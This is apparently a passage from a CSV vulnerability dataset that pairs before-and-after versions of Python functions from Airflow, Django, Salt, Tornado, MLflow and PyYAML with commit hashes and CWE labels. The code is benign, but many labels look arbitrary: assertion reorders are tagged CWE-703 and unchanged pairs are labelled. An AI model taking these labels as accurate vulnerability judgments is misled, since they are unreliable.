        assert 3 == len(res)
        res_keys = []
        for ti in res:
            res_keys.append(ti.key)
        assert tis[0].key in res_keys
        assert tis[2].key in res_keys
        assert tis[3].key in res_keys
        session.rollback()",CWE-703,apache/airflow,e2a3f2d70778773eed082ae77413876c30eec82b,"def test_find_executable_task_instances_pool(self, dag_maker):
        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_pool'
        task_id_1 = 'dummy'
        task_id_2 = 'dummydummy'
        session = settings.Session()
        with dag_maker(dag_id=dag_id, max_active_tasks=16, session=session):
            DummyOperator(task_id=task_id_1, pool='a', priority_weight=2)
            DummyOperator(task_id=task_id_2, pool='b', priority_weight=1)

        self.scheduler_job = SchedulerJob(subdir=os.devnull)

        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED)

        tis = [
            dr1.get_task_instance(task_id_1, session=session),
            dr1.get_task_instance(task_id_2, session=session),
            dr2.get_task_instance(task_id_1, session=session),
            dr2.get_task_instance(task_id_2, session=session),
        ]
        for ti in tis:
            ti.state = State.SCHEDULED
            session.merge(ti)
        pool = Pool(pool='a', slots=1, description='haha')
        pool2 = Pool(pool='b', slots=100, description='haha')
        session.add(pool)
        session.add(pool2)
        session.flush()

        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        session.flush()
        assert 3 == len(res)
        res_keys = []
        for ti in res:
            res_keys.append(ti.key)
        assert tis[0].key in res_keys
        assert tis[1].key in res_keys
        assert tis[3].key in res_keys
        session.rollback()"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if (new_field.rel and
                (fks_dropped or not old_field.rel or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,283b630d6324c936cbe42d8f0169f056b3ba59c6,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, self._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%s' % self._digest(*column_names)
        max_length = self.connection.ops.max_name_length() or 200
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (
            table_name, column_names[0], index_unique_name, suffix,
        )).replace('""', '').replace('.', '_')
        if len(index_name) > max_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(max_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > max_length:
            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:max_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name",CWE-327,django/django,f37c11eea3cb860112a26f8a65d823842f65b96f,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, self._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%x' % abs(hash((table_name, ','.join(column_names))))
        max_length = self.connection.ops.max_name_length() or 200
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (
            table_name, column_names[0], index_unique_name, suffix,
        )).replace('""', '').replace('.', '_')
        if len(index_name) > max_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(max_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > max_length:
            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:max_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/beacons/test_telegram_bot_msg_beacon.py,0,"def test_validate_valid_config(self, *args, **kwargs):
        ret = telegram_bot_msg.__validate__({
            'token': 'bcd',
            'accept_from': [
                'username'
            ]
        })
        self.assertEqual(ret, (True, 'Valid beacon configuration.'))",,saltstack/salt,abe608d73961ca07cfca8eeb6fd6f131bc066e1a,"def test_validate_valid_config(self, *args, **kwargs):
        ret = telegram_bot_msg.__validate__({
            'token': 'bcd',
            'accept_from': [
                'username'
            ]
        })
        self.assertEqual(ret, (True, 'Valid beacon configuration.'))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def __init__(self, handler):
        self.handler = handler
        self.request = handler.request
        self.ui = handler.ui
        self.locale = handler.locale",CWE-Unknown,tornadoweb/tornado,e4e93e9b493028f5848b9d7929087a335d615cef,"def __init__(self, handler):
        self.handler = handler
        self.request = handler.request
        self.ui = handler.ui
        self.current_user = handler.current_user
        self.locale = handler.locale"
,UNKNOWN,UNKNOWN,tests/task/test_standard_task_runner.py,1,"def test_on_kill(self):
        """"""
        Test that ensures that clearing in the UI SIGTERMS
        the task
        """"""
        path_on_kill_running = Path(""/tmp/airflow_on_kill_running"")
        path_on_kill_killed = Path(""/tmp/airflow_on_kill_killed"")
        path_on_kill_running.unlink(missing_ok=True)
        path_on_kill_killed.unlink(missing_ok=True)

        dagbag = DagBag(
            dag_folder=TEST_DAG_FOLDER,
            include_examples=False,
        )
        dag = dagbag.dags.get(""test_on_kill"")
        task = dag.get_task(""task1"")
        triggered_by_kwargs = {""triggered_by"": DagRunTriggeredByType.TEST} if AIRFLOW_V_3_0_PLUS else {}
        dag.create_dagrun(
            run_id=""test"",
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            state=State.RUNNING,
            start_date=DEFAULT_DATE,
            **triggered_by_kwargs,
        )
        ti = TaskInstance(task=task, run_id=""test"")
        job = Job(dag_id=ti.dag_id)
        job_runner = LocalTaskJobRunner(job=job, task_instance=ti, ignore_ti_state=True)
        task_runner = StandardTaskRunner(job_runner)
        task_runner.start()

        with timeout(seconds=3):
            while True:
                runner_pgid = os.getpgid(task_runner.process.pid)
                if runner_pgid == task_runner.process.pid:
                    break
                time.sleep(0.01)

        processes = list(self._procs_in_pgroup(runner_pgid))

        logger.info(""Waiting for the task to start"")
        with timeout(seconds=20):
            while not path_on_kill_running.exists():
                time.sleep(0.01)
        logger.info(""Task started. Give the task some time to settle"")
        time.sleep(3)
        logger.info(""Terminating processes %s belonging to %s group"", processes, runner_pgid)
        task_runner.terminate()

        logger.info(""Waiting for the on kill killed file to appear"")
        with timeout(seconds=4):
            while not path_on_kill_killed.exists():
                time.sleep(0.01)
        logger.info(""The file appeared"")

        with path_on_kill_killed.open() as f:
            assert f.readline() == ""ON_KILL_TEST""

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_on_kill(self):
        """"""
        Test that ensures that clearing in the UI SIGTERMS
        the task
        """"""
        path_on_kill_running = Path(""/tmp/airflow_on_kill_running"")
        path_on_kill_killed = Path(""/tmp/airflow_on_kill_killed"")
        path_on_kill_running.unlink(missing_ok=True)
        path_on_kill_killed.unlink(missing_ok=True)

        dagbag = DagBag(
            dag_folder=TEST_DAG_FOLDER,
            include_examples=False,
        )
        dag = dagbag.dags.get(""test_on_kill"")
        task = dag.get_task(""task1"")
        triggered_by_kwargs = {""triggered_by"": DagRunTriggeredByType.TEST} if AIRFLOW_V_3_0_PLUS else {}
        dag.create_dagrun(
            run_id=""test"",
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            state=State.RUNNING,
            start_date=DEFAULT_DATE,
            **triggered_by_kwargs,
        )
        ti = TaskInstance(task=task, run_id=""test"")
        job = Job(dag_id=ti.dag_id)
        job_runner = LocalTaskJobRunner(job=job, task_instance=ti, ignore_ti_state=True)
        task_runner = StandardTaskRunner(job_runner)
        task_runner.start()

        with timeout(seconds=3):
            while True:
                runner_pgid = os.getpgid(task_runner.process.pid)
                if runner_pgid == task_runner.process.pid:
                    break
                time.sleep(0.01)

        processes = list(self._procs_in_pgroup(runner_pgid))

        logger.info(""Waiting for the task to start"")
        with timeout(seconds=20):
            while not path_on_kill_running.exists():
                time.sleep(0.01)
        logger.info(""Task started. Give the task some time to settle"")
        time.sleep(3)
        logger.info(""Terminating processes %s belonging to %s group"", processes, runner_pgid)
        task_runner.terminate()

        logger.info(""Waiting for the on kill killed file to appear"")
        with timeout(seconds=4):
            while not path_on_kill_killed.exists():
                time.sleep(0.01)
        logger.info(""The file appeared"")

        with path_on_kill_killed.open() as f:
            assert ""ON_KILL_TEST"" == f.readline()

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive"""
,UNKNOWN,UNKNOWN,providers/fab/tests/unit/fab/auth_manager/api_endpoints/test_user_endpoint.py,1,"def test_limit_of_zero_should_return_default(self):
        users = self._create_users(200)
        self.session.add_all(users)
        self.session.commit()

        response = self.client.get(""/fab/v1/users?limit=0"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        # Explicit add the 2 users on setUp
        assert response.json[""total_entries""] == 200 + len([""test"", ""test_no_permissions""])
        assert len(response.json[""users""]) == 50",CWE-703,apache/airflow,95b2715a19b051d3f20f973907f8a951c44f5076,"def test_limit_of_zero_should_return_default(self):
        users = self._create_users(200)
        self.session.add_all(users)
        self.session.commit()

        response = self.client.get(""/fab/v1/users?limit=0"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        # Explicit add the 2 users on setUp
        assert response.json[""total_entries""] == 200 + len([""test"", ""test_no_permissions""])
        assert len(response.json[""users""]) == 100"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/db/utils.py,0,"def make_managed_session():
        """"""Provide a transactional scope around a series of operations.""""""
        session = SessionMaker()
        try:
            yield session
            session.commit()
        except MlflowException:
            session.rollback()
            raise
        except Exception as e:
            session.rollback()
            _logger.exception(""Exception in SQL query"")
            raise MlflowException(message=e, error_code=INTERNAL_ERROR)
        finally:
            session.close()",,mlflow/mlflow,24e1cb71cb366d619b56134b3ddde18a335aded0,"def make_managed_session():
        """"""Provide a transactional scope around a series of operations.""""""
        session = SessionMaker()
        try:
            yield session
            session.commit()
        except MlflowException:
            session.rollback()
            raise
        except Exception as e:
            session.rollback()
            raise MlflowException(message=e, error_code=INTERNAL_ERROR)
        finally:
            session.close()"
,UNKNOWN,UNKNOWN,salt/modules/artifactory.py,1,"def _get_artifact_metadata(artifactory_url, repository, group_id, artifact_id):
    metadata_xml = _get_artifact_metadata_xml(artifactory_url=artifactory_url, repository=repository, group_id=group_id, artifact_id=artifact_id)
    root = ET.fromstring(metadata_xml)

    assert group_id == root.find('groupId').text
    assert artifact_id == root.find('artifactId').text
    latest_version = root.find('versioning').find('latest').text
    return {
        'latest_version': latest_version
    }",CWE-703,saltstack/salt,974f998b4640153fd3a408dc847dbbec385f3cd7,"def _get_artifact_metadata(artifactory_url, repository, group_id, artifact_id):
    metadata_xml = _get_artifact_metadata_xml(artifactory_url=artifactory_url, repository=repository, group_id=group_id, artifact_id=artifact_id)
    root = ET.fromstring(metadata_xml)

    assert group_id == root.find('groupId').text
    assert artifact_id == root.find('artifactId').text
    latest_version = root.find('versioning').find('latest').text
    return {
        'latest_version': latest_version
    }"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/serializer.py,0,"def serialize(self, node):
        if self.closed is None:
            raise SerializerError(""serializer is not opened"")
        elif self.closed:
            raise SerializerError(""serializer is closed"")
        self.emit(DocumentStartEvent(explicit=self.use_explicit_start,
            version=self.use_version, tags=self.use_tags))
        self.anchor_node(node)
        self.serialize_node(node, None, None)
        self.emit(DocumentEndEvent(explicit=self.use_explicit_end))
        self.serialized_nodes = {}
        self.anchors = {}
        self.last_anchor_id = 0",,yaml/pyyaml,6f51a53a6b26ef832984c77cb5ddc4ac0cc0d2bb,"def serialize(self, node):
        if self.closed is None:
            raise SerializerError(""serializer is not opened"")
        elif self.closed:
            raise SerializerError(""serializer is closed"")
        self.emit(DocumentStartEvent(explicit=self.use_explicit_start,
            version=self.use_version, tags=self.use_tags))
        self.anchor_node(node)
        self.serialize_node(node, None, None)
        self.emit(DocumentEndEvent(explicit=self.use_explicit_end))
        self.serialized_nodes = {}
        self.anchors = {}
        self.last_alias_id = 0"
,UNKNOWN,UNKNOWN,tests/utils/test_python_virtualenv.py,1,"def test_remove_decorator_no_parens(self):
        py_source = ""@task.virtualenv\ndef f():\nimport funcsigs""
        res = remove_task_decorator(python_source=py_source, task_decorator_name=""@task.virtualenv"")
        assert res == ""def f():\nimport funcsigs""",CWE-703,apache/airflow,9ec5c41e715eef064265863b145be64b1bd4d546,"def test_remove_decorator_no_parens(self):
        py_source = ""@task.virtualenv\ndef f():\nimport funcsigs""
        res = remove_task_decorator(python_source=py_source, task_decorator_name=""@task.virtualenv"")
        assert res == ""def f():\nimport funcsigs"""
,UNKNOWN,UNKNOWN,tests/models/test_model.py,1,"def test_model_log_with_input_example_succeeds():
    with TempDir(chdr=True) as tmp:
        sig = ModelSignature(
            inputs=Schema(
                [
                    ColSpec(""integer"", ""a""),
                    ColSpec(""string"", ""b""),
                    ColSpec(""boolean"", ""c""),
                    ColSpec(""string"", ""d""),
                    ColSpec(""datetime"", ""e""),
                ]
            ),
            outputs=Schema([ColSpec(name=None, type=""double"")]),
        )
        input_example = pd.DataFrame(
            {
                ""a"": np.int32(1),
                ""b"": ""test string"",
